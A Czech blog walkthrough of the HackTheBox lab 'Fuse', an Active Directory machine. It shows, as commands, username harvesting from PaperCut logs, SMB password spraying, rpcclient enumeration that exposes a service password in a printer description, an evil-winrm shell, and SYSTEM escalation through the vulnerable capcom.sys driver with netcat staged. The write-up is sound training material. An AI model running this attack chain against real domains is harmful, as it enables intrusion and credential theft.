tom@home.htb:~$

Blog o HTB

30 November 2020

Fuse

Úvod a kontext

Fuse je Windows/AD stroj, kde se foothold neskládá z jedné zásadní chyby, ale z několika drobných informačních úniků. Veřejně dostupné logy PaperCutu prozradí seznam uživatelů, naming convention firmy pomůže odhadnout heslo a RPC/SMB enumerace potom dovede útok až k servisním účtům.

Právě to z něj dělá dobrý vzdělávací příklad. Web zde nevede k přímému RCE, ale k datům. Až spojení webového úniku, změny hesla u běžného účtu a popisku tiskárny odhalí přihlašovací údaje svc-print, ze kterých vznikne WinRM shell. Root část pak stojí na lokální možnosti nahrát zranitelný driver capcom.sys.

Počáteční průzkum

AD služby a veřejný PaperCut

První nmap ukáže doménový kontroler fabricorp.local a zároveň IIS na portu 80. To je důležité, protože útok může začít stejně dobře z LDAP/RPC jako z webu.

ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
53/tcp    open  domain?
80/tcp    open  http         Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0

Na webu nic útočného na první pohled není, ale PaperCut logy na /papercut/logs/html/index.htm obsahují jména zaměstnanců. To je přesně ten typ dat, který sám o sobě nevypadá nebezpečně, ale skvěle se hodí pro password spraying a další doménovou enumeraci.

http://fuse.fabricorp.local/papercut/logs/html/index.htm
administrator
pmerton
tlavel
sthompson
bhult

Odhad prvního hesla

Ze stejného webu lze pomocí cewl vygenerovat slovník a zkusit firemní naming convention. Tady funguje jednoduchá kombinace jména firmy a číselné přípony, takže se podaří trefit první platné účty tlavel a bhult.

cewl -d 5 -m 3 -w Fuse-wordlist.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers

msfconsole > use auxiliary/scanner/smb/smb_login
=> tlavel:Fabricorp01
=> bhult:Fabricorp01

Analýza zjištění

Co otevře účet tlavel

Platný doménový účet ještě neznamená shell, ale výrazně rozšíří možnosti enumerace. Přes smbpasswd lze u tlavel změnit heslo a s novým pověřením pak RPC vrací úplný seznam doménových uživatelů i další metadata o servisních účtech.

./impacket/examples/smbclient.py fabricorp.local/tlavel:Fabricorp01@$IP
smbpasswd -r fuse.fabricorp.local -U fabricorp.local/tlavel

rpcclient -U FABRICORP\\tlavel -c enumdomusers $IP

Se změněným heslem pak funguje i samrdump, takže je možné potvrdit existenci servisních účtů svc-print a svc-scan i jejich charakter v doméně.

Tohle je klíčový mezikrok: z běžného zaměstnaneckého účtu se útok přesouvá k technickým identitám jako svc-print a svc-scan, které už bývají zajímavější z pohledu laterálního pohybu i WinRM.

Únik hesla v popisku tiskárny

Rozhodující stopa leží v enumprinters. Popisek jedné tiskárny obsahuje text scan2docs password: $fab@s3Rv1ce$1, což je přesně ten typ operativní poznámky, který ve firmě vznikl kvůli pohodlí a útočníkovi otevře celou další větev.

rpcclient -U FABRICORP\\tlavel -c enumprinters $IP
=> description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]

msfconsole > use auxiliary/scanner/smb/smb_login
=> Success: '.\\svc-print:$fab@s3Rv1ce$1'
=> Success: '.\\svc-scan:$fab@s3Rv1ce$1'

Získání přístupu

WinRM jako svc-print

Jakmile se ukáže, že servisní heslo funguje i na účtu svc-print, je WinRM nejlepší další krok. Dává stabilní shell a eliminuje potřebu držet se SMB nebo RPC.

./evil-winrm/evil-winrm.rb -i fuse.fabricorp.local -u svc-print -p '$fab@s3Rv1ce$1'
cat user.txt
d86f8804323aaa687b7f385f57bcea41

Eskalace oprávnění

Načtení capcom.sys

Lokální eskalace už není o Active Directory, ale o právech účtu v samotném systému. svc-print dovolí nahrát zranitelný driver capcom.sys, což otevře klasickou kernelovou eskalaci na SYSTEM. V praxi stačí nahrát driver, zaregistrovat službu přes EOPLOADDRIVER.exe a pak spustit exploit, který driver zneužije.

c:\temp\nc.exe
c:\temp\netcat.bat
c:\temp\capcom.sys
.\EOPLOADDRIVER.exe System\CurrentControlSet\MyService C:\temp\capcom.sys
.\ExploitCapcom_modded.exe

type root.txt
a3f0932606ade10089d078d703d9db23

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - smb - kerberos - ldap - winrm - active-directory